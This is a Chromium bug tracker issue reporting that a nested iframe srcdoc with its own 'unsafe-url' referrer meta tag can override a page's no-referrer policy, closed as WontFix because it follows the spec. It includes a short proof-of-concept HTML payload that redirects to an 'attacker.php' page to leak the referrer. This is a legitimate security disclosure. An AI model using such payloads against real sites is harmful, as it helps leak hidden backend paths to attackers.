New issue
Advanced search Search tips

Issue 878234 link

Starred by 1 user

Issue metadata

Status: WontFix
Owner:
Closed: Sep 6
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Mac
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: referrer policy bypass using iframe srcdoc

Reported by zxyrz...@gmail.com, Aug 28

Issue description

UserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36

Steps to reproduce the problem:
1. open http://test.au1ge.xyz/referrer/secret_page.php

What is the expected behavior?
referrer should not sent

What went wrong?
Just like https://bugs.chromium.org/p/chromium/issues/detail?id=763194
main frame' s referrer policy could be bypassed

Did this work before? N/A 

Chrome version: 68.0.3440.106  Channel: stable
OS Version: OS X 10.13.6
Flash Version: Shockwave Flash 30.0 r0
 
The danger of this vulnerability is if the website's secret backend has a blind xss, attacker can use this payload to steal the path of backend
OP -- thanks for filing the issue.
Can you please post the contents of 'secret_page.php'?
Cc: tkent@chromium.org hayato@chromium.org
Components: Blink>SecurityFeature>Referrer
Owner: jochen@chromium.org
Sorry I should use .html suffix, there is no more than html contents
```
<meta name="referrer" content="no-referrer">
referrer not leaked:
<iframe srcdoc="<script>location.href='http://test.au1ge.xyz/referrer/attacker.php'</script>"></iframe>
<br>
referrer leaked:
<iframe srcdoc="<meta name='referrer' content='unsafe-url'><script>location.href='http://test.au1ge.xyz/referrer/attacker.php'</script>"></iframe>
```
Project Member

Comment 5 by sheriffbot@chromium.org, Aug 28

Status: Assigned (was: Unconfirmed)
Labels: Security_Severity-Medium M-70 Security_Impact-Stable
Project Member

Comment 7 by sheriffbot@chromium.org, Aug 29

Labels: -Pri-2 Pri-1
can you eplain why the referrer should not be sent? You're explicitly setting the policy to unsafe-url
My point is a nested frame which inherited the security origin from top frame should respect it's top frame's referrer policy no matter the nested frame has it's own referrer policy or not, because if the nested frame's referrer leaked, it's the same as top frame's referrer leaked, which break top frame's referrer policy
Status: WontFix (was: Assigned)
ok, I can see your point.

This is however not how the feature is specced. If you want, you start a discussion on the referrer policy spec about this, but until then, I can't change the implementation to violate the spec
I created an issue on https://github.com/w3c/webappsec-referrer-policy/issues/116, and they pointed out that it's the right way, so I think it's necessary to change the implementation
Issue 898224 has been merged into this issue.
Project Member

Comment 13 by sheriffbot@chromium.org, Dec 13

Labels: -Restrict-View-SecurityTeam allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment